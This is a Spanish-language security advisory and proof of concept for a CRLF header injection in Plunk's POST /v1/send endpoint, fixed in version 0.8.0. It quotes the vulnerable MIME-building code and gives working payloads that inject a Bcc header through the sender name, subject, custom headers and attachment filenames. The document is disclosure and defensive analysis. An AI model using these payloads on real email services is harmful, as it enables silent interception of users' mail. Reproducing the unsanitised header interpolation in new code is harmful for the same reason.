
Prueba de concepto y análisis técnico de la inyección de encabezados de correo CRLF en la construcción MIME sin procesar de Plunk, demostrando la inyección de Bcc y otros vectores con una PoC en Python.
Gravedad: Alta (CVSS 8.5)
CWE: CWE-93 — Neutralización incorrecta de secuencias CRLF ('Inyección CRLF')
Afectado: useplunk/plunk <= 0.7.1
Corregido en: 0.8.0
Aviso: GHSA-2mvm-rg5v-7hfq
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
Crédito: Romain Deperne
El endpoint POST /v1/send de Plunk construye un mensaje de correo MIME en bruto interpolando campos proporcionados por el usuario (from.name, subject, cabeceras personalizadas, nombres de archivo adjuntos) directamente en una cadena de plantilla sin saneamiento de CRLF (\r\n). Un usuario autenticado de la API puede inyectar cabeceras de correo arbitrarias — incluyendo Bcc — para redirigir silenciosamente copias del correo a direcciones controladas por el atacante.
Estaba auditando plataformas de envío de correo de código abierto — cualquier cosa que envuelva AWS SES y exponga una API. Plunk se posiciona como una alternativa amigable para desarrolladores a SendGrid/Postmark, construida sobre SES.
Mi punto de entrada fue la función de construcción de correo en bruto. Siempre que veo rawMessage += o literales de plantilla que construyen MIME, verifico si cada campo proporcionado por el usuario está saneado contra CRLF. En SESService.ts, la respuesta era claramente no: from.name, subject, las cabeceras personalizadas y los nombres de archivo adjuntos se interpolaban directamente.
Lo que confirmó esto como explotable: el esquema Zod (packages/shared/src/schemas/index.ts) no tenía ningún .regex() ni .refine() que rechazara \r\n en ninguno de esos campos. Sin saneamiento en la capa del esquema, sin saneamiento en la capa de construcción de MIME — camino limpio desde la entrada de la API hasta la cabecera MIME inyectada.
Probé los cuatro vectores (from.name, subject, valor de cabecera personalizada, nombre de archivo adjunto) y confirmé que la inyección de Bcc: funciona. Cualquier usuario autenticado de la API con un dominio remitente verificado puede copiar silenciosamente cada correo saliente a una dirección controlada por el atacante. El escenario de ataque realista es una clave de API comprometida que se convierte en una interceptación persistente de correo.
Archivo: apps/api/src/services/SESService.ts, líneas 137–151
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Esquema Zod (packages/shared/src/schemas/index.ts) — sin validación de CRLF:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
La construcción de MIME en bruto requiere que cada valor proporcionado por el usuario sea despojado de \r\n antes de la interpolación. Plunk construye el mensaje con template literals y no sanitiza ninguno de los cuatro campos inyectables. Los analizadores SMTP interpretan \r\n como un límite de encabezado, por lo que inyectar \r\nBcc: [email protected] en from.name añade un encabezado Bcc real al mensaje saliente.
Consulte poc.py para una demostración completa con cuatro vectores de inyección.
Payload principal — inyección de Bcc mediante from.name:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
MIME en bruto producido por SES:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES entrega una copia silenciosa a [email protected] con cada correo electrónico enviado a través de la clave API comprometida.
Otros vectores de inyección:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender